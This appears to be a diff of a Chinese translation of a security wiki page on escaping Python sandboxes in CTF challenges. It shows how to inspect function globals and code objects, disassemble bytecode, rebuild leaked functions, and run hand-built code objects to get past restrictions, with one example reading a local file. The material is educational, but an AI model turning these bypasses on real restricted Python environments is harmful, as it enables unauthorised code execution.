+这个挑战实际上滥用了服务器中的另一个漏洞,允许在服务器磁盘上创建任意文件。 -## 解析 Python 对象 +## 分析 Python 对象 > [!TIP] -> 如果你想**学习**关于**python bytecode**的深入内容,请阅读这篇**awesome**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +> 如果你想**学习**关于**python bytecode**的深入内容,请阅读这篇关于该主题的**精彩**文章: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -在一些 CTFs 中,你可能会被提供一个**custom function where the flag**的名称,你需要查看该**function**的**internals**以提取它。 +在一些 CTFs 中,你可能会被提供一个**custom function where the flag** 的名称,你需要查看该 **function** 的 **internals** 来提取它。 这是要检查的函数: ```python @@ -797,16 +799,16 @@ return "THIS-IS-THE-FALG!" else: return "Nope" ``` -#### dir +#### 目录 ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` -#### 全局 +#### globals -`__globals__` and `func_globals`(相同) 获取全局环境。在示例中,你可以看到一些已导入的模块、一些全局变量及其内容声明: +`__globals__` 和 `func_globals`(相同) 获取全局环境。在示例中,你可以看到一些已导入的模块、一些全局变量及其声明的内容: ```python get_flag.func_globals get_flag.__globals__ @@ -819,7 +821,7 @@ CustomClassObject.__class__.__init__.__globals__ ### **访问函数代码** -**`__code__`** 和 `func_code`: 你可以 **访问** 函数的这个 **属性** 来 **获取函数的代码对象**。 +**`__code__`** 和 `func_code`:你可以 **访问** 该函数的这个 **属性** 以 **获取其 code object**。 ```python # In our current example get_flag.__code__ @@ -879,7 +881,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **反汇编一个 function** +### **反汇编函数** ```python import dis dis.dis(get_flag) @@ -907,7 +909,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -注意,**如果你无法在 python sandbox 中导入 `dis`**,你可以获取函数的**bytecode**(`get_flag.func_code.co_code`)并在本地对其**disassemble**。你无法看到被加载变量的内容(`LOAD_CONST`),但你可以从(`get_flag.func_code.co_consts`)推测它们,因为 `LOAD_CONST` 也会告诉被加载变量的偏移。 +注意 **如果你无法在 python sandbox 中导入 `dis`**,你可以获取该函数的 **bytecode** (`get_flag.func_code.co_code`) 并在本地 **disassemble** 它。你不会看到被加载变量的内容(`LOAD_CONST`),但可以从 (`get_flag.func_code.co_consts`) 猜测它们,因为 `LOAD_CONST` 也会指示被加载变量的偏移。 ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -929,10 +931,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` -## 编译 Python +## Compiling Python -现在,假设以某种方式你可以 **dump the information about a function that you cannot execute**,但你**需要**去**执行**它。\ -就像下面的示例,你**can access the code object**该函数,但仅通过查看反汇编你**不知道如何计算 flag**(_想象一个更复杂的 `calc_flag` 函数_) +现在,设想一下,你以某种方式能够 **dump the information about a function that you cannot execute**,但你 **need** 去 **execute** 它。\ +像下面的例子,你 **can access the code object** 的那个函数,但仅仅读取反汇编你 **don't know how to calculate the flag**(_想象一个更复杂的 `calc_flag` 函数_) ```python def get_flag(some_input): var1=1 @@ -947,7 +949,7 @@ return "Nope" ``` ### 创建 code object -首先,我们需要知道 **how to create and execute a code object**,以便我们可以创建一个来执行我们 leaked 的 function: +首先,我们需要知道 **如何创建和执行 code object**,以便我们可以创建一个来执行我们的 function leaked: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -967,7 +969,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] -> 根据你运行的 python 版本,`code_type` 的 **parameters** 可能有 **不同的顺序**。要确定你运行的 python 版本中参数的顺序,最好的方法是运行: +> 根据你所使用的 python 版本,`code_type` 的 **参数** 可能有 **不同的顺序**。要了解你运行的 python 版本中参数的顺序,最好的方法是运行: > > ``` > import types @@ -975,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` -### 重新创建 leaked 函数 +### 重新创建一个 leaked 函数 > [!WARNING] -> 在下面的示例中,我们将直接从函数的 code object 中获取重新创建该函数所需的所有数据。在一个 **真实的示例** 中,执行函数 **`code_type`** 所需的所有 **值** 就是 **你将需要 leak 的**。 +> 在下面的示例中,我们将直接从函数的 code object 中获取重新创建该函数所需的所有数据。在一个 **真实示例** 中,执行函数 **`code_type`** 所需的所有 **值** 就是你必须 leak 的内容。 ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -991,10 +993,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### 绕过防御 -在本帖开头的示例中,你可以看到 **如何使用 `compile` 函数执行任意 python 代码**。这很有趣,因为你可以把带循环和所有内容的 **完整脚本** 在 **一行代码** 中执行(我们也可以用 **`exec`** 达到同样效果)。\ -无论如何,有时在本地机器上 **创建** 一个 **已编译对象** 并在 **CTF machine** 上执行会很有用(例如因为在 CTF 上没有 `compiled` 函数)。 +在本文开头的前面示例中,你可以看到 **如何使用 `compile` 函数执行任意 python 代码**。这很有意思,因为你可以在 **一行命令** 中执行带有循环等的 **完整脚本**(我们也可以使用 **`exec`** 做同样的事)。\ +不过,有时在本地机器上**创建**一个**已编译对象**并在 **CTF machine** 上执行它会很有用(例如因为在 CTF 中我们没有 `compiled` 函数)。 -例如,我们来手动编译并执行一个读取 _./poc.py_ 的函数: +例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数: ```python #Locally def read(): @@ -1021,7 +1023,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -如果无法访问 `eval` 或 `exec`,你可以创建一个**真正的函数**,但直接调用它通常会失败,提示:_constructor not accessible in restricted mode_。因此你需要一个**不在受限环境中的函数来调用这个函数。** +如果你无法访问 `eval` 或 `exec`,你可以创建一个**适当的函数**,但直接调用它通常会失败,错误为: _受限模式下无法访问构造函数_。因此你需要一个**不在受限环境中的函数来调用该函数。** ```python #Compile a regular print ftype = type(lambda: None) @@ -1029,11 +1031,11 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` -## 反编译已编译的 Python +## Decompiling Compiled Python -使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具,可以**反编译**给定的已编译 python 代码。 +Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code. -**查看该教程**: +**查看此教程**: {{#ref}} @@ -1044,8 +1046,8 @@ f(42) ### Assert -使用 `-O` 参数以优化模式执行的 Python 会移除 assert 语句以及任何基于 **debug** 值的条件代码。\ -因此,类似以下的检查: +Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\ +Therefore, checks like ```python def check_permission(super_user): try: